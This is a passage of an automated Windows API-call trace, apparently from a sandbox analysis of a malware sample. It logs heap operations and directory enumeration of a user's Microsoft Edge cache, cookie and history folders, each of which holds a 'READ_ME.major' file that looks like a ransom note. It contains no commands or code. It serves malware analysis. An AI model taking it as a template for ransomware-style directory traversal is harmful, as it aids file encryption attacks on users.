dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0244.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0244.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af08 [0244.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0244.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0244.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0244.009] GetLastError () returned 0x0 [0244.010] SetLastError (dwErrCode=0x0) [0244.010] GetLastError () returned 0x0 [0244.010] SetLastError (dwErrCode=0x0) [0244.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0244.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0244.010] GetLastError () returned 0x0 [0244.010] SetLastError (dwErrCode=0x0) [0244.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66e0 [0244.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee66e0 | out: hHeap=0x570000) returned 1 [0244.010] FindNextFileW (in: hFindFile=0x2f34b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc1759d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc1759d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0244.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0244.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d04d0 | out: hHeap=0x570000) returned 1 [0244.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656d30 | out: hHeap=0x570000) returned 1 [0244.010] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12803cff, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12803cff, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34be0 [0244.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0244.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0244.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0244.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0244.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0244.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0244.011] GetLastError () returned 0x12 [0244.011] SetLastError (dwErrCode=0x12) [0244.011] GetLastError () returned 0x12 [0244.011] SetLastError (dwErrCode=0x12) [0244.011] GetLastError () returned 0x12 [0244.011] SetLastError (dwErrCode=0x12) [0244.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0244.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be738 [0244.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0244.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66e0 [0244.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f31620 [0244.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f31620 | out: hHeap=0x570000) returned 1 [0244.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0244.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0244.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee66e0 | out: hHeap=0x570000) returned 1 [0244.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0244.011] FindNextFileW (in: hFindFile=0x2f34be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12803cff, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12803cff, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0244.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0244.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0244.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0244.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665278 [0244.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0244.011] GetLastError () returned 0x12 [0244.011] SetLastError (dwErrCode=0x12) [0244.012] GetLastError () returned 0x12 [0244.012] SetLastError (dwErrCode=0x12) [0244.012] GetLastError () returned 0x12 [0244.012] SetLastError (dwErrCode=0x12) [0244.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0244.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0244.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0244.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee69d8 [0244.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f312a0 [0244.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f312a0 | out: hHeap=0x570000) returned 1 [0244.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0244.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0244.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee69d8 | out: hHeap=0x570000) returned 1 [0244.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0244.012] FindNextFileW (in: hFindFile=0x2f34be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc1759d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc1759d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665278 | out: hHeap=0x570000) returned 1 [0244.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0244.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0244.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0244.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664918 [0244.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0244.012] GetLastError () returned 0x12 [0244.012] SetLastError (dwErrCode=0x12) [0244.012] GetLastError () returned 0x12 [0244.012] SetLastError (dwErrCode=0x12) [0244.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0244.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664918 | out: hHeap=0x570000) returned 1 [0244.013] GetLastError () returned 0x12 [0244.013] SetLastError (dwErrCode=0x12) [0244.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66e0 [0244.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee66e0 | out: hHeap=0x570000) returned 1 [0244.013] FindNextFileW (in: hFindFile=0x2f34be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc1759d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc1759d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668c50 [0244.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0244.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0244.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656d08 | out: hHeap=0x570000) returned 1 [0244.013] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12803cff, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12803cff, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f316e0 [0244.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0244.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0244.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0244.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0244.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664b70 [0244.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0244.014] GetLastError () returned 0x12 [0244.014] SetLastError (dwErrCode=0x12) [0244.014] GetLastError () returned 0x12 [0244.014] SetLastError (dwErrCode=0x12) [0244.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0244.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0244.014] GetLastError () returned 0x12 [0244.014] SetLastError (dwErrCode=0x12) [0244.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0244.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be210 [0244.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0244.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66e0 [0244.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f314e0 [0244.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f314e0 | out: hHeap=0x570000) returned 1 [0244.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403d8 [0244.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403d8 | out: hHeap=0x570000) returned 1 [0244.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee66e0 | out: hHeap=0x570000) returned 1 [0244.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0244.014] FindNextFileW (in: hFindFile=0x2f316e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12803cff, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12803cff, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0244.015] GetLastError () returned 0x12 [0244.015] SetLastError (dwErrCode=0x12) [0244.015] GetLastError () returned 0x12 [0244.015] SetLastError (dwErrCode=0x12) [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0244.015] GetLastError () returned 0x12 [0244.015] SetLastError (dwErrCode=0x12) [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee69d8 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f31720 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f31720 | out: hHeap=0x570000) returned 1 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee69d8 | out: hHeap=0x570000) returned 1 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0244.015] FindNextFileW (in: hFindFile=0x2f316e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc1759d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc1759d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0244.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0244.015] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0244.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0244.016] GetLastError () returned 0x12 [0244.016] SetLastError (dwErrCode=0x12) [0244.016] GetLastError () returned 0x12 [0244.016] SetLastError (dwErrCode=0x12) [0244.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0244.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0244.016] GetLastError () returned 0x12 [0244.016] SetLastError (dwErrCode=0x12) [0244.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6820 [0244.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6820 | out: hHeap=0x570000) returned 1 [0244.016] FindNextFileW (in: hFindFile=0x2f316e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc1759d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc1759d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668d28 [0244.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668c50 | out: hHeap=0x570000) returned 1 [0244.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ef8 | out: hHeap=0x570000) returned 1 [0244.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656dd0 | out: hHeap=0x570000) returned 1 [0244.016] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12803cff, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12803cff, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f311a0 [0244.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0244.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0244.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0244.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0244.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0244.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0244.016] GetLastError () returned 0x12 [0244.017] SetLastError (dwErrCode=0x12) [0244.017] GetLastError () returned 0x12 [0244.017] SetLastError (dwErrCode=0x12) [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e428 [0244.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0244.017] GetLastError () returned 0x12 [0244.017] SetLastError (dwErrCode=0x12) [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0244.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66e0 [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f312e0 [0244.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f312e0 | out: hHeap=0x570000) returned 1 [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0244.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0244.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee66e0 | out: hHeap=0x570000) returned 1 [0244.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0244.017] FindNextFileW (in: hFindFile=0x2f311a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12803cff, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12803cff, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e428 | out: hHeap=0x570000) returned 1 [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0244.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0244.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0244.017] GetLastError () returned 0x12 [0244.017] SetLastError (dwErrCode=0x12) [0244.017] GetLastError () returned 0x12 [0244.017] SetLastError (dwErrCode=0x12) [0244.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6646c0 | out: hHeap=0x570000) returned 1 [0244.018] GetLastError () returned 0x12 [0244.018] SetLastError (dwErrCode=0x12) [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be210 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee68c0 [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f314a0 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f314a0 | out: hHeap=0x570000) returned 1 [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee68c0 | out: hHeap=0x570000) returned 1 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0244.018] FindNextFileW (in: hFindFile=0x2f311a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc3d7b1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc3d7b1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0244.018] GetLastError () returned 0x12 [0244.018] SetLastError (dwErrCode=0x12) [0244.018] GetLastError () returned 0x12 [0244.018] SetLastError (dwErrCode=0x12) [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0244.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0244.018] GetLastError () returned 0x12 [0244.018] SetLastError (dwErrCode=0x12) [0244.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67a8 [0244.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67a8 | out: hHeap=0x570000) returned 1 [0244.019] FindNextFileW (in: hFindFile=0x2f311a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc3d7b1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc3d7b1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc3d7b1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", 